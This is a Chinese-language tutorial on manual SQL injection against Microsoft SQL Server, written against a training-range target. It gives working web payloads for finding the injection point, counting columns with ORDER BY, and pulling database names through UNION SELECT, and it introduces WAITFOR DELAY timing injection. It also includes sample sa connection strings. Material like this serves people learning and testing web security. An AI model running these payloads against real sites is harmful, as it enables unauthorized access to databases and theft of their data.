Sql-Server数据库手工注入
Sql Server数据库手工注入
目录
这里感谢墨者学院提供的靶场:
Sql Server
SQL Server 数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433 。数据库后缀名 .mdf,注释符是 – 。
QLServer有三个权限级别:
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
- db权限:文件管理,数据库操作等权限 users-administrators
- public权限:数据库操作 guest-users
断当前用户权限
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
SQLServer数据库有6个默认的库,分别是4个系统数据库: master 、 model 、 msdb 、 tempdb ,和2个实例数据库: ReportServer 、 ReportServerTempDB 。其中,系统数据库 model 和 tempdb 默认是没有数据表的。
master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
但是如果用navicat远程连接的话,只会显示2个实例数据库: ReportServer 、 ReportServerTempDB
Sql Server数据库的查询语句
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
count(name)是查询总数
name是查询名字
*是查询详细信息
#查询数据库
select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U' #查询当前数据库中所有表的名字
select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息
select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息
#查询数据
select count(*) from test..users #查询test数据库user表的数据的条数
select * from test..users #查询test数据库user表的所有数据
union注入
页面如下,先寻找注入点,点击如下通知
进入到新的页面
- 判断注入点
http://219.153.49.228:45266/new_list.asp?id=2' 报错
http://219.153.49.228:45266/new_list.asp?id=2 and 1=1 正常显示(后面可以加--+也可以不加)
http://219.153.49.228:45266/new_list.asp?id=2 and 1=2 不正常显示
由此猜测后台的sql语句如下
$sql= "select * from test where id=".$id;
- 判断数据库类型
//判断是否是 Mysql数据库
and exists(select*from information_schema.tables)
//判断是否是 access数据库
and exists(select*from msysobjects)
//判断是否是 Sqlserver数据库
and exists(select*from sysobjects)
判断出数据库为sqlserver
- 判断字段数
首先order by查看有几列
?id=2 order by 2 正常显示
?id=2 order by 3 不正常显示
?id=2 order by 4 正常显示
?id=2 order by 5 不正常显示
?id=2 order by 6 后面的都不正常显示
说明有4列
判断回显
?id=-2 union all select '22','33','44','55' #这里的数字为什么要加引号才行了?
- 判断数据库名
?id=-2 union all select '22','33',db_name(),'55' #查询当前数据库名
?id=-2 union all select '22','33',db_name(1),'55'
?id=-2 union all select '22','33',db_name(2),'55'
?id=-2 union all select '22','33',db_name(3),'55'
?id=-2 union all select '22','33',db_name(4),'55'
mozhe_db_v2、master、tempdb、model、msdb
- 查询数据库中表的个数
查询mozhe_db_v2数据库中表的个数
union all select 1,(select top 1 name from 数据库名.sysobjects where type='u'),'3',4
未完~
延时注入
延时命令: WAITFOR DELAY ‘0:0:n’ (n代表秒)
WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。如果将该语句成功注入后,会造成数据库返回记录和Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注入成功。根据Web请求是否有延迟,渗透测试人员就可以判断网站是否存在注入漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测方法。
成功延时4秒进行响应
由于WAITFOR不是SQL的标准语句,所以它只适用于 SQL Server 数据库。
参考 :